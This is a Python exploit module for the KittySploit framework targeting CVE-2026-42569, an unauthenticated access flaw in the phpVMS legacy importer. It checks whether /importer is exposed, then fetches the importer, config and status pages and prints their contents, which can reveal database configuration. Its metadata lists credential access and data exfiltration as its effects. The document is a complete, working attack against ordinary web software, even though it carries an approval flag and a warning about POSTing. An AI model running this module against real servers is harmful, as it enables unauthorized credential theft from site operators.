phpVMS Legacy Importer Auth Bypass (CVE-2026-42569)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpVMS legacy importer auth bypass (CVE-2026-42569)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'phpVMS Legacy Importer Auth Bypass (CVE-2026-42569)',
        'description': (
            'Exploits CVE-2026-42569 in phpVMS < 7.0.6: unauthenticated access to the '
            'legacy /importer feature exposes database configuration and import controls.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-42569'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-42569',
        ],
        'tags': ['phpvms', 'auth-bypass', 'unauth'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'risk_signals'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2026_42569_detect'],
            },
        },
    }

    def check(self):
        r = self.http_request(method='GET', path='/importer', allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': '/importer not accessible', 'confidence': 'medium'}
        body = (r.text or '').lower()
        if 'importer' in body and any(m in body for m in ('start importer', 'database config', 'import configuration')):
            return {'vulnerable': True, 'reason': 'Legacy importer exposed without auth', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Importer markers missing', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        for path in ('/importer', '/importer/config', '/importer/status'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:1500])
        print_warning('Importer can wipe DB — do not POST without explicit authorization')
        return True